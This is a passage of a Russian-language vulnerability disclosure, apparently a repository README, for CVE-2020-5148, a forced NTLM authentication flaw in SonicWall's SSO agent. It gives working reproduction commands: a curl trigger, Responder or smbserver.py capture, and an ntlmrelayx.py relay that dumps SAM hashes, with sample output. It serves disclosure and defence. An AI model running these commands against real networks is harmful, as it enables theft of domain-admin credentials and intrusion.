CVE-2020-5148

Принудительная аутентификация в SSO-агенте SonicWall UTM

SSO-агент SonicWall определяет пользователя за данным IP-адресом, опрашивая рабочую станцию через NetAPI (по умолчанию) или WMI. Он не проверяет рабочую станцию перед началом NTLM-аутентификации и продолжает опрашивать тот же адрес в течение всего времени сеанса.

Поскольку службе SSO-агента требуются права администратора на каждой рабочей станции и сервере, которые она опрашивает, на практике она разворачивается с правами Domain Admin. Поэтому любой неаутентифицированный участник, способный направить веб-трафик через устройство UTM, может заставить учётную запись Domain Admin пройти аутентификацию на выбранном им хосте и перехватить или ретранслировать эту аутентификацию.

Опубликовано как CVE-2020-5148, рекомендация вендора SNWLID-2021-0003.

Обнаружено и сообщено Sedric Louissaint из Show Up Show Out Security.

---

Сводка

CVE	CVE-2020-5148
Продукт	SonicWall UTM Appliance and SSO Agent / Directory Services Connector
Затронуты	SSO Agent 4.1.10.0; Directory Services Connector 4.1.17 and earlier
Исправлено в	NVD фиксирует исправление в Directory Services Connector 4.1.19 (см. примечание ниже)
Слабость	CWE-287: Improper Authentication
CVSS 3.1 (NVD)	8.2 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (исследователь)	8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Опубликовано	2021-03-05
Протестировано на	Microsoft Windows Server 2012 R2 Standard
Требуется аутентификация	Нет
Рекомендация вендора	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

Описание NVD:

Конфигурация SSO-агента SonicWall по умолчанию использует NetAPI для опроса соответствующих IP-адресов в сети; этот метод клиентского опроса позволяет потенциальному злоумышленнику перехватить хэш пароля

Технические детали

Предусмотренный поток и два шага, которые в нём пропущены

1. Трафик пользователя достигает устройства SonicWALL UTM.
2. Устройство отправляет IP-адрес пользователя SSO-агенту как «User Name Request». Заблокированные пакеты удерживаются.
3. SSO-агент отвечает именем пользователя, вошедшего в эту рабочую станцию.
4. LDAP или локальная база данных определяет членство в группах.
5. Применяется политика, и удерживаемый трафик освобождается.
6. Устройство продолжает опрашивать SSO-агента, чтобы подтвердить, что тот же пользователь всё ещё выполнил вход.

Аннотации отмечают то, что не показано в диаграмме вендора:

• Шаг 2.5 SSO-агент должен пройти аутентификацию на рабочей станции, прежде чем сможет выполнить к ней запрос. Это исходящее NTLM-рукопожатие на адрес, указанный тем, кто сгенерировал трафик, без предварительной проверки этого адреса.
• Шаг 5.5 Агент повторяет эту аутентификацию при каждом опросе в течение всего времени сеанса. Интервал опроса настраивается в графическом интерфейсе.

Контекст привилегий

Службе SSO-агента требуются права администратора на всех связанных рабочих станциях и серверах, чтобы вообще выполнять запрос. Практически в каждом развёртывании это означает, что учётная запись службы — Domain Admin.

Таким образом, учётные данные, передаваемые непроверенному хосту, являются учётной записью с наивысшими привилегиями в каталоге.

Как вызвать уязвимость

Эксплойт-кода нет. Достаточно любого исходящего веб-запроса из сегмента, который обрабатывает устройство:

curl sonicwall.com

URL не важен, и запрос не обязательно должен завершиться успешно. Устройство наблюдает трафик с нераспознанного IP-адреса, просит SSO-агента опознать пользователя там, и агент проходит аутентификацию на этом IP-адресе.

Перехват учётных данных

При прослушивании Responder или smbserver.py NTLMv2-аутентификация агента приходит без запроса и продолжает приходить из-за поведения опроса:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Ретрансляция

Брутфорс не обязателен. Если подпись SMB не принудительна, аутентификацию можно ретранслировать в реальном времени на другой хост, который затем воспринимает соединение как привилегированную учётную запись, которой она представляется:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

Аутентификация инициируется неаутентифицированным веб-запросом и используется на совершенно другой машине, что и является полным обходом ACL, описанным в рекомендации.

Воспроизведение

В лаборатории, которой вы владеете или на тестирование которой у вас есть разрешение, с устройством UTM, настроенным для SSO, и SSO-агентом, использующим метод клиентского опроса NetAPI по умолчанию:

1. Запустите прослушиватель на хосте внутри сегмента, который обрабатывает устройство:

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. С этого же хоста сгенерируйте любой исходящий веб-трафик через устройство:

   curl sonicwall.com
   

3. Уязвимая конфигурация в течение нескольких секунд вызывает входящую NTLMv2-аутентификацию от учётной записи службы SSO-агента. Подождите — и она повторится из-за опроса.
4. При желании выполните ретрансляцию вместо перехвата против хоста с отключённой подписью SMB:

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Полная последовательность команд в poc/repro.sh.

Содержимое репозитория

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Имена пользователей, хэши и внутренние адреса в перехватах скрыты или взяты из исходной лаборатории.

Устранение